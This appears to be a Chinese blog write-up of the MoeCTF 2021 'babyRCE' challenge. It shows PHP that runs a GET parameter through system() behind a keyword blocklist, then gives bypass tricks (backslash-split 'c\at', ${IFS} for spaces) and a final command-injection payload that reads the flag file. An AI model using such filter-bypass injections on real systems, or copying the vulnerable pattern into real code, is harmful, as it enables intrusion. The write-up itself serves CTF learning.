[MoeCTF 2021]babyRCE

打开题目在线环境可以看到:

php 复制代码
<?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

这个代码审计起来就比较简单了,这里ls没有过滤可以直接用ls命令查看**?rce=ls**

查看flag.php就能获得flag。 cat过滤 ==> c\at绕过 (可以在linux系统测试,是可以的) 空格过滤 ==>

${IFS}绕过 flag过滤 ==> fl\ag

最后的payload就是:?rce=c\at${IFS}fl\ag.php

相关推荐
friendan13 小时前
zend server试用分析
php·send·试用
珹洺18 小时前
计算机网络:(一)详细讲解互联网概述与组成 (附带图谱更好对比理解)
服务器·开发语言·网络·数据库·后端·计算机网络·php
奥顺互联V19 小时前
如何处理PHP中的编码问题
android·开发语言·php
angryshan1 天前
ClickHouse合并任务与查询延迟专项测试
数据库·clickhouse·php
Suckerbin1 天前
第四章-PHP文件包含
开发语言·php
自由de单车1 天前
【PHP】获取PHP-FPM的状态信息
php
鸠摩智首席音效师2 天前
如何解决 Apache 直接显示 PHP 源码问题 ?
php·apache
奥顺互联V2 天前
泛目录程序:无需数据库的高效站群解决方案
数据库·搜索引擎·php
说私域2 天前
定制开发开源 AI 智能名片 S2B2C 商城小程序源码在小程序直播营销中的应用与价值
微信小程序·开源·php·零售